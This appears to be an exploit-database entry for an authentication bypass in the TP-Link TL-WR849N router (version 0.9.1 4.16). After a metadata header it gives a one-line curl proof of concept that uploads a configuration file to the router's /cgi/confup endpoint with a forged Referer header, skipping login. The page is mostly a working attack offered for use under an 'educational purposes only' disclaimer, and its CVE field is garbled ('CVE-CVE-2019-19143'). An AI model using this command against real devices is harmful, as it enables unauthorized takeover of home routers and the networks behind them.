Tlwr849n 0.9.1 4.16 authentication bypass (upload firmware) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-03-02 | Type : webapps | Platform : hardware
This exploit / vulnerability Tlwr849n 0.9.1 4.16 authentication bypass (upload firmware) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143

Uploading new firmware without access to the panel

REFS:
https://github.com/ElberTavares/routers-exploit/tp-link
https://fireshellsecurity.team/hack-n-routers/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F data=@conf.bin
http://TARGET/cgi/confup